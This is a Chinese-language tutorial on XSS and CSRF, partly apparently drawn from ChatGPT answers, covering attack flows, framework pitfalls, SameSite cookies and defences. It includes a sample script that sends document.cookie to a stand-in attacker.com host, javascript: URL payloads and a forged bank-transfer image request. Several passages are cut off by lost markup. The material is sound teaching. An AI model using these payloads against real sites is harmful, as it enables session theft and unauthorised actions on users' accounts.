一、 XSS (Cross-Site Scripting) 跨站脚本攻击
- 顶层导航 (Top-level navigation)
- 跨站请求 (Cross-site request)
我们分别来解释。
1. 什么是“顶层导航”?
简单来说,顶层导航就是指那些会改变浏览器地址栏 URL 的用户操作。
当你进行以下操作时,就触发了顶层导航:
- 点击一个普通的
<a>链接。 - 提交一个
<form method="GET">的表单。 - 在浏览器地址栏输入网址后按回车。
与之相对的,不是顶层导航的请求通常发生在页面内部或后台,不会改变地址栏的 URL。例如:
- 通过
标签加载一张图片。
- 通过 嵌入一个页面。
- 通过 AJAX 或 fetch() API 发起一个网络请求。
- 通过
2. 什么是“跨站请求”?
“跨站”指的是请求的发起方和接收方的**“站”(Site)不同。这里的“站”比“域”(Domain)的概念更宽泛一点,它主要看“可注册域”**(eTLD+1),比如 example.com、github.io。
- 同站 (Same-site) :
store.example.com和www.example.com属于同站,因为它们的可注册域都是 example.com。 - 跨站 (Cross-site) :
my-blog.com和example.com就是跨站。
1. 什么是 XSS?
XSS 是一种代码注入攻击,攻击者将恶意的客户端脚本(通常是 JavaScript)注入到网页中。当其他用户浏览这个被注入了恶意脚本的网页时,他们的浏览器会执行这些脚本,从而达到攻击的目的。
2. XSS 攻击流程(以存储型 XSS 为例)
假设有一个社交网站,用户可以发布动态。
-
寻找漏洞:攻击者发现该网站的动态发布功能没有对用户输入进行充分的过滤和转义。
-
注入脚本:攻击者发布一条动态,内容不是普通文本,而是一段恶意 JavaScript 脚本,比如:
codeHtml
<script> // 这个脚本会获取当前用户的 Cookie // 然后将它发送到攻击者自己的服务器 fetch('https://attacker.com/steal?cookie=' + document.cookie); </script> -
存储脚本:网站服务器没有识别出这是恶意代码,直接将其作为普通内容存入了数据库。
-
受害者访问:另一个正常用户(比如你)登录了该社交网站,并浏览到了攻击者发布的那条动态。
-
浏览器执行:你的浏览器从服务器获取页面内容,其中包含了那段恶意脚本。因为脚本是包裹在 。
-
攻击成功:脚本成功获取了你的 Cookie(其中可能包含你的会话 ID),并发送给了攻击者的服务器。攻击者拿到你的会话 ID 后,就可以伪装成你,登录你的账户。
3. XSS 的主要类型
-
存储型 XSS (Stored XSS) :
- 描述:最危险的一种。恶意脚本被永久存储在目标服务器的数据库或文件中(如上例中的动态、文章评论、用户个人资料等)。任何访问该内容的浏览器都会执行脚本。
- 危害:影响范围广,持续时间长。
-
反射型 XSS (Reflected XSS) :
- 描述:恶意脚本存在于 URL 中。攻击者需要诱骗用户点击一个特制的链接。
- 示例:一个网站的搜索功能,URL 可能是 example.com/search?q=my… mykeyword 显示在页面上而未做处理,攻击者可以构造如下链接:
example.com/search?q= - 流程:攻击者将这个链接发给你,你点击后,服务器将 URL 中的恶意脚本“反射”回你的浏览器,并在你的浏览器上执行。
- 危害:非持久性,只对点击了链接的用户生效。
-
DOM 型 XSS (DOM-based XSS) :
- 描述:一种特殊的反射型 XSS,它的注入和执行完全发生在客户端,服务器甚至可能完全不知道攻击的发生。漏洞存在于页面的 JavaScript 代码中。
- 示例:页面上有一段 JS 代码 document.write(location.hash),它会获取 URL 的片段标识符(#后面的部分)并写入页面。攻击者可以构造链接 example.com/#
,你点击后,客户端 JS 会执行恶意代码。
4. XSS 的防御措施
-
输入验证,输出编码 (Encode on Output) :这是最核心、最有效的防御手段。永远不要相信用户的任何输入。当需要将用户输入的数据展示在页面上时,必须对其进行 HTML 编码。
- < 变为 <
-
变为 >
- " 变为 "
- 这样,
-
设置 HttpOnly Cookie:为存储会话 ID 等敏感信息的 Cookie 设置 HttpOnly 标志。这样,客户端 JavaScript (document.cookie) 就无法读取该 Cookie,即使发生 XSS 攻击,攻击者也无法轻易窃取会话。
-
内容安全策略 (Content Security Policy, CSP) :通过设置 HTTP 头部 Content-Security-Policy,可以告诉浏览器只允许加载和执行来自特定来源的脚本,从而极大地限制 XSS 攻击的范围。
✅ 1. React / Vue 默认是安全的
它们会自动对 插值内容进行 HTML 转义(escape)
例如 Vue:
<div>{{ userInput }}</div>
React:
<div>{userInput}</div>
都不会执行:
<script>alert(1)</script>
而是会显示为文字。
➜ 这让 反射型 XSS、存储型 XSS 很难成功。
❌ 2. 但 React / Vue 仍不能完全防御 XSS
框架能保证“模板渲染部分安全”,但前端还有很多危险点。
下面我列你实际开发最容易踩的坑:
❌(1)使用 v-html / dangerouslySetInnerHTML 会直接破功
Vue:
<div v-html="htmlStr"></div>
React:
<div dangerouslySetInnerHTML={{ __html: htmlStr }} />
如果 htmlStr 来自用户输入:
💥 你直接把防护破坏了,任何 XSS 都能执行。
❌(2)DOM 操作仍会出现 XSS
比如:
element.innerHTML = userInput;
即使你用 React / Vue,这种原生 DOM 写法仍然是“纯 XSS 泄洪口”。
❌(3)URL XSS 仍然会触发
React/Vue 渲染 a 标签:
<a :href="url">Link</a>
攻击者传:
javascript:alert(1)
框架默认不会过滤。
你仍然会触发 XSS。
ChatGPT 说:
你问的这个属于 URL XSS(协议型 XSS) ,也叫 Href JavaScript scheme injection。
它不是靠 HTML 标签 <script> 注入,而是通过把恶意代码塞到 链接的 href 属性中 来触发。
我给你从本质到浏览器行为讲清楚👇
🔥 这是什么?
攻击者把一个 URL 设置为:
javascript:alert(1)
然后你的前端框架(React / Vue)把这个值渲染到 <a href=""> 里:
<a href="javascript:alert(1)">Link</a>
用户一点击这个链接,浏览器会把 href 内容当作 JavaScript 执行。
不是 bug,是浏览器原生行为。
📌 为什么 React / Vue 默认不会阻止这个?
因为框架只是负责把数据渲染到 DOM:
<a href={url}>Link</a>
它不会对 URL 做协议过滤(因为它不知道你是否真的需要 mailto:、tel:、ftp:、geo: 之类协议)。
所以如果你的业务中允许用户输入 URL,那攻击者就可以这样提交:
javascript:alert(document.cookie)
点击后 → XSS 立刻执行。
🎯 实际例子
在 Vue 中
<a :href="url">点我</a>
如果 url = "javascript:alert(1)"
那页面会变成:
<a href="javascript:alert(1)">点我</a>
用户点击 → 代码执行。
在 React 中
<a href={url}>点我</a>
效果完全一样。
🔍 这类 XSS 什么类型?
协议型 XSS(Protocol-based XSS)
属于 DOM XSS 的一种。
你可以理解成:
把
<script>隐藏在 URL 里面。
🚨 这种 XSS 非常危险
攻击链条可能是:
- 攻击者提交伪装成正常链接的内容(比如留言板、用户主页、文章正文)
- 用户看到链接,以为是正常内容
- 一点 → 执行恶意 JS(比如窃取 token)
与普通 XSS 没有本质区别。
🛡️ 如何修复?
✔ 方案 1:严格限制 protocol(最推荐)
只允许合法协议:
function safeUrl(url) {
const allowed = ['http:', 'https:'];
try {
const parsed = new URL(url, window.location.origin);
return allowed.includes(parsed.protocol) ? url : 'about:blank';
} catch {
return 'about:blank';
}
}
Vue:
<a :href="safeUrl(url)">点我</a>
React:
<a href={safeUrl(url)}>点我</a>
这样即使攻击者传:
javascript:alert(1)
会变成:
href="about:blank"
无害。
✔ 方案 2:完全禁止用户输入 URL(最安全)
如果业务不需要用户输入 URL,那根本不应该让他们输入。
✔ 方案 3:使用 DOMPurify 清洗 URL
DOMPurify.sanitize(url, { ALLOWED_URI_REGEXP: /^https?:/// });
✔ 方案 4:CSP(Content-Security-Policy)
CSP 可以阻止 javascript: 协议的执行:
script-src 'self'
这样即使点了 javascript:xxxx,代码也执行不了。
📌 最终总结
你的问题:
“这是什么?”
这是 URL XSS(href 协议型 XSS) :
- 把 JS 写进 URL 的
javascript:协议 - React/Vue 会正常渲染
- 浏览器一点击就执行恶意代码
- 用 URL 白名单/CSP/DOMPurify 才能防住
❌(4)Eval、new Function、setTimeout 字符串执行也会被利用
eval(userCode);
setTimeout(userCode, 0);
即使你使用框架,依然能被注入执行。
❌(5)第三方脚本永远是强风险点
比如引入:
- 不安全的广告脚本
- 统计代码 (某宝事件)
- 劫持的 CDN 资源
攻击者只要控制脚本服务器 → 你的 React/Vue 完全被秒杀。
框架挡不住。
所以最终结论:
🔥 React / Vue 的安全性 = “默认安全” + “可被开发者轻易破坏”
总结:
| 能避免 | 不能避免 |
|---|---|
| 模板注入 XSS | v-html / innerHTML 注入 |
| 自动转义文本 | 链接 URL XSS |
避免直接执行 <script> | eval / new Function |
| SSR 注入一部分过滤 | DOM 攻击(Hash、search) |
| 渲染层安全 | 第三方脚本 XSS |
🔐 但安全性仍可以做到非常高:
如果你想让项目几乎“免疫”XSS:
✔ 使用 React/Vue 默认模板渲染(不要 innerHTML)
✔ 禁止或严格过滤 v-html / dangerouslySetInnerHTML
✔ 对 URL 参数做白名单
✔ 使用 DOMPurify 清洗 HTML
✔ 上线时启用 CSP(Content-Security-Policy)
✔ 不要使用可疑第三方脚本
✔ 后端输出必须 encode
做到这些,攻击者要挖到可利用的 XSS 难度会非常高。
二、 CSRF (Cross-Site Request Forgery) 跨站请求伪造
1. 什么是 CSRF?
CSRF 攻击者盗用了你的身份,以你的名义发送恶意请求。这些请求对网站来说是合法的,因为它携带了你合法的身份凭证(如 Cookie),但这些操作并非出自你的本意。
2. CSRF 攻击流程(以银行转账为例)
-
用户登录:你登录了你的网上银行 my-bank.com,你的浏览器保存了该网站的登录凭证 Cookie。
-
访问恶意网站:在未登出银行网站的情况下,你被诱骗访问了一个恶意网站 hacker.com。
-
恶意请求:这个恶意网站的页面中包含一个看不见的图片或者一个自动提交的表单,其代码如下:
codeHtml
<!-- 攻击者希望你向他转账 1000 元 --> <img src="https://my-bank.com/transfer?to=attacker&amount=1000" style="display:none;"> -
浏览器自动发送请求:你的浏览器看到
标签,会尝试加载这个“图片”。它会向 my-bank.com/... 发起一个 GET 请求。
-
携带凭证:根据浏览器的同源策略,向 my-bank.com 发起请求时,会自动带上所有 my-bank.com 域下的 Cookie。
-
服务器处理:银行服务器收到了这个请求,检查到请求中包含了你合法的 Cookie,认为是你本人在操作,于是执行了转账。
-
攻击成功:你神不知鬼不觉地被转走了 1000 元。整个过程你可能毫无察觉。
3. CSRF 的成立条件
- 用户已经登录了目标网站,并且浏览器存有有效的 Cookie。
- 用户在未登出的情况下,访问了攻击者构造的恶意页面。
- 目标网站的服务器没有有效的 CSRF 防御机制。
4. CSRF 的防御措施
-
使用 Anti-CSRF Token (同步令牌模式) :这是最常用、最核心的防御手段。
- 原理:当用户访问表单页面时,服务器生成一个随机、唯一的 Token,并将其隐藏在表单中。同时,服务器在 Session 中也保存这个 Token。
- 验证:当用户提交表单时,这个 Token 会随请求一起发送到服务器。服务器会比较请求中的 Token 和 Session 中保存的 Token 是否一致。
- 为何有效:攻击者在自己的网站上无法获取到这个随机 Token,所以他伪造的请求中不会包含正确的 Token,请求就会被服务器拒绝。
-
设置 SameSite Cookie 属性:这是一个现代浏览器提供的强大防御机制。
- SameSite=Strict:最严格。完全禁止第三方网站发起请求时携带 Cookie。
- SameSite=Lax (目前大多数浏览器的默认值):允许一些安全的顶层导航(如点击链接)跨站时携带 Cookie,但会阻止 POST 请求、
、 等加载方式携带 Cookie。这已经能防御绝大多数 CSRF 攻击。
- SameSite=None:允许任何跨站请求携带 Cookie,但必须同时设置 Secure 属性(即只在 HTTPS 下生效)。
-
验证 Referer 或 Origin HTTP 头部:服务器可以检查请求头中的 Referer (来源页面) 或 Origin (来源域),判断请求是否来自合法的域名。但这个头部可以被伪造或被浏览器策略性地隐藏,因此只能作为辅助防御手段。
总结与对比
| 特性 | XSS (跨站脚本攻击) | CSRF (跨站请求伪造) |
|---|---|---|
| 攻击原理 | 向网页注入恶意脚本,在用户浏览器上执行 | 冒用用户的身份,伪造请求发送给服务器 |
| 信任关系 | 利用了用户对网站的信任 | 利用了网站对用户浏览器的信任 |
| 攻击载体 | 恶意脚本 ( | 伪造的 HTTP 请求 |
| 攻击目标 | 窃取用户信息(Cookie、密码)、篡改网页、钓鱼 | 执行用户权限下的操作(转账、改密码、删帖) |
| 防御核心 | 对输入进行验证,对输出进行编码 | 使用 Anti-CSRF Token,设置 SameSite Cookie |
| 简单记忆 | 攻击者把恶意代码放到了网站上 | 攻击者让你替他向网站发送了请求 |
sameSite lax不是能防御么<img src="https://my-bank.com/transfer?to=attacker&amount=1000" style="display:none;">
### 为什么 SameSite=Lax 能防御 <img> 攻击?
我们再回顾一下 SameSite=Lax 的核心规则:
对于跨站请求,只有当这个请求是安全的顶层导航时,才会发送 Cookie。
现在我们来分析 标签发起的请求:
- 这是一个跨站请求吗? 是的。请求从恶意网站 hacker.com 发起,目标是 my-bank.com。
- 这是一个顶层导航吗? 不是。浏览器加载图片是为了在当前页面(hacker.com)内显示内容,它并不会改变地址栏的 URL。这属于页面内嵌资源的请求,不是顶层导航。
结论:由于 标签发起的跨站请求不满足“顶层导航”这一条件,SameSite=Lax 策略会阻止浏览器在请求中携带 my-bank.com 的 Cookie。因此,银行服务器收到的请求将不包含身份凭证,攻击失败。
同样地,以下这些由恶意网站发起的、非顶层导航的跨站请求,也都会被 SameSite=Lax 阻止携带 Cookie:
- AJAX (fetch, XMLHttpRequest)
- 自动提交的
那么,SameSite=Lax 不能防御什么样的 CSRF 攻击?
SameSite=Lax 的“Lax”(宽松)之处就在于它允许了“顶层导航”的跨站请求携带 Cookie。攻击者可以利用这一点。
关键在于:如果一个网站的某个关键操作可以通过一个简单的 GET 请求(即一个链接)来完成,那么 SameSite=Lax 就无法防御它。
攻击场景:利用链接进行攻击
假设有一个博客网站 my-blog.com,它的删除文章功能设计得不好,直接通过一个 GET 请求链接来完成:
my-blog.com/delete?id=1…
现在,攻击流程变成了这样:
-
用户登录:你登录了 my-blog.com,浏览器保存了 Cookie。
-
访问恶意网站:你被诱骗访问了恶意网站 hacker.com。
-
恶意链接:这个网站上有一条非常有诱惑力的链接,比如:
codeHtml
<a href="https://my-blog.com/delete?id=123">点击这里领取大奖!</a> -
用户点击:你点击了这个链接。
-
请求分析:
- 这是一个跨站请求 (从 hacker.com -> my-blog.com)。
- 这是一个顶层导航 (因为你点击了链接,地址栏的 URL 将会改变)。
- 这是一个 GET 请求。
-
Lax 的行为:浏览器判断这完全符合 SameSite=Lax 允许的条件,于是会把 my-blog.com 的 Cookie 带上。
-
攻击成功:博客服务器收到了这个带有你合法 Cookie 的删除请求,误以为是你本人操作,于是删除了 ID 为 123 的文章。
总结与最佳实践
您的观察非常敏锐,SameSite=Lax 确实极大地提升了 Web 安全性,让很多传统的 CSRF 攻击(如 , POST 表单)失效了。
| 攻击方式 | SameSite=Lax 是否能防御? | 原因 |
|---|---|---|
| 能防御 | 非顶层导航,不发送 Cookie | |
| 后台 AJAX POST 请求 | 能防御 | 非顶层导航,不发送 Cookie |
| (用户点击) | 不能防御 | 属于顶层导航,会发送 Cookie |
最佳安全实践:
- SameSite=Lax 是一个非常好的“基础防御” ,但不能完全依赖它。
- 遵循 RESTful 设计原则:对数据有修改、删除等副作用的操作,必须使用 POST、PUT、DELETE 等方法,绝对不能使用 GET 方法。这是防御此类攻击的根本。
- 使用 Anti-CSRF Token:对于所有重要的状态变更操作(无论 GET 还是 POST),都应该加上
Anti-CSRF Token验证。这是防御 CSRF 的“黄金标准”,可以弥补 SameSite=Lax 留下的缺口。